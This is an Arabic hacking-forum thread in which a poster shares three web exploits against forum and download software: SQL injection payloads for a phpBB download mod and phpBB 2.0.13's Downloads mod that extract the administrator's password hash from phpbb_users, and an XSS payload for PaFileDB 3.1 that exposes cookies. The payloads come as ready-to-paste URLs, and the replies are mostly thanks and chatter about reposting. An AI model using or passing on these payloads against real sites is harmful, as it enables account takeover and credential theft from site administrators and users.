ثغرات جديدة

[اميرة الهكر]

بسم اللله الرحمن الرحيم
وقل رب زدنى علما
صدق الله العظيم

لقد وصلتنى مجموعة من الثغرات الجديدة عبر الايميل من احد المنتديات العربيه


وحبت ان اضعها فى منتدانا العزيز

1- [منتديات PHPBB Mod

المهم الثغره في ملف dlman.php

كل اللي علي إنك تضيف الكود هذا بعد رابط الموقع


كود:
dlman.php?func=file_info&file_id=-1337/**/union/**/select/**/0,0,0,user_password,0,username,0,0,0,0,0,0,0,0,0,0 ,0,0/**/FROM/**/phpbb_users/**/WHERE/**/user_id=2/**/

وراح تشوف الباسورد المشفر مثل اللي في الصوره


http://membres.lycos.fr/lezrlezr2007/pic/phpdlm.jpg



ثغرة جديدة اليوم في مكتبة البرامج PaFileDB Version 3.1

--------------------------------------------------------------------------------

بسم الله الرحمن الرحيم

أكيد أغلبكم ياشباب يعرف وش هي مكتبة البرامج ويعرف كبر المواقع اللي تستخدمها

هذي ثغرها لها وهي من نوع Xss

والثغره في الإصدار PaFileDB Version 3.1 ومادون

كل اللي عليك انك تضيف الكود هذا بعد رابط الموقع


كود PHP:
pafiledb.php?action=file&id=%22%3E%20%20%3Cscript%3Ealert(document.cookie)% 3C/script%3E



PhpBB 2.0.13+Downloads Mod Exploit

ثغره جديده ياشباب ونزلت قبل دقايق بس

وهي في الاصدار الجديد من منتديات phpBB

الاصدار phpBB 2.13

ويشترط في الثغره أن تكون مفعله عملية التحميل Downloads

وطريقة الاختراق سهله كل اللي عليك انك تضيف الكود هذا


كود PHP:
downloads.php?cat=-1%20UNION%20SELECT%200,user_password,0,0,0,0,0,0,0 %20FROM%20phpbb_users%20WHERE%20user_id=2


بعد رابط المنتدى وراح تشوف الباسورد قدامك مثل اللي بالصوره

http://membres.lycos.fr/lezrlezr2007/pic/phpb13.jpg


ارجوا ان تحوز الثغرات اعجابكم ومستنة تعليقاتكم

[ابتسـ ألم ـامة]

http://www.7zen.net/a/abtsamh%201.gif

هـــلا وغـــلا
أختي أميرة الهكر

إسمك يخوفني :smile:

أشكرك لهذا النقل

وإن شاء الله يستفيد منه الجميع


المهم ما يكون في منتدانا الثغرات هذه


دمت بخير

http://www.7zen.net/a/abtsamh%202.gif
كلمــات مــن ذهــب
قال أحد الحكماء
لا ترضى قول أمرئ حتى ترضى فعله
ولا ترضى فعله حتى ترضى عقله
ولا ترضى عقله حتى ترضى حياءه

[الـ()ـرستان]

اميرة الهكر


مشكور على الثغرات لكن عليكي التقيد بالشروط وهو كتابة ان الموضوع منقول :smile:


================

مشكور على النقل

[جرنـJRN2Sـاس]

اميرة الهكر...

امممممممم انتي مشتركه في الليزر ..اها .. اقول اميره لما تبين .. ثغره لاتروحي منتديات العربيه ولا اجنبيه نصيحه من اخوك .. سجلي في موقع .. سكورتي .. بتجيكي ثغرات ...


والف شكر على نقل ..


تحياتي....

[أبو رائد]

تسلمين يا أميرة الهكر



والله يعطيك العافية



على هذا الموضوع المفيد

[اميرة الهكر]

شكرا على ردودكم ويا ريت بدل ما تكتبوا على ان الموضوع انه منقول ولا مو منقول تحطوا مواضيع فى هذا القسم

[الـ()ـرستان]

ولله الحمد عندنا مواضيع قيمه هنا :smile:


انا ما احب المواضيع المنقوله ابدا وخاصه الغير محفوظة المصدر :smile:

[جرنـJRN2Sـاس]

مو مقصر مرستان .:biggrin::biggrin:. كل مابي انزل موضوع القيه سابقني .. وش اسوي


تحتي...

[الـ()ـرستان]

حركااااااااااات